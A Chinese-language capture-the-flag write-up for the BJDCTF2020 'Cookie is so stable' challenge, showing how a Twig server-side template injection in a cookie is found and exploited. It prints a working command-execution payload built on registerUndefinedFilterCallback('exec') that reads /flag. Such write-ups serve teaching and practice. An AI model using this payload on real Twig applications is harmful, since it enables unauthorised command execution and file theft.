[BJDCTF2020]Cookie is so stable

  • Post author:
  • Post category:其他


考查的地方:模板注入,利用Twig模板本身的特性进行攻击


目录


解题过程


参考文章


解题过程

打开题目是这样的,页面有flag,hint

先来看看flag.php,嘶。。。需要输入ID进行登录

看看另一个hint.php,一个简单的东西

抓包分析,既然是hint.php,那就肯定会有线索,如下,提示我们注意看cookie

所以回到flag.php,先输入admin,然后登录,回显:


在登录的状态下

,刷新flag.php,进行抓包

后来发现继续尝试,是个模板注入(SSTI)。放出图片


尝试{

{7*7}}, 返回49


尝试{

{7*’7′}},返回49,说明是Twig模板,但是如果返回7777777,则说明是Jinia2模板


本题是Twig模板

然后根据大佬的wp,得到payload

但是大多数的博客没有提到这个payload是怎么来的,所以继续找,找到了相关文章(这是Twig部分,还有许多其他相当好的部分):


一篇文章带你理解漏洞之SSTI漏洞/#2-Twig

这个函数中调用了一个 call_user_function 方法

public function getFilter($name)
{
        [snip]
        foreach ($this->filterCallbacks as $callback) {
        if (false !== $filter = call_user_func($callback, $name)) {//注意这行
            return $filter;
        }
    }
    return false;
}

public function registerUndefinedFilterCallback($callable)
{
    $this->filterCallbacks[] = $callable;
} 

我们只要把exec() 作为回调函数传进去就能实现命令执行了


payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}

{{_self.env.getFilter("id")}}

所以payload至于要将”cat /flag” 替换”id” 即可。payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}


参考文章

1.

BJDCTF2020/BUUCTF-WEB:Cookie is so stable(Twig模板注入)

2.

一篇文章带你理解漏洞之SSTI漏洞/#2-Twig



版权声明:本文为RABCDXB原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。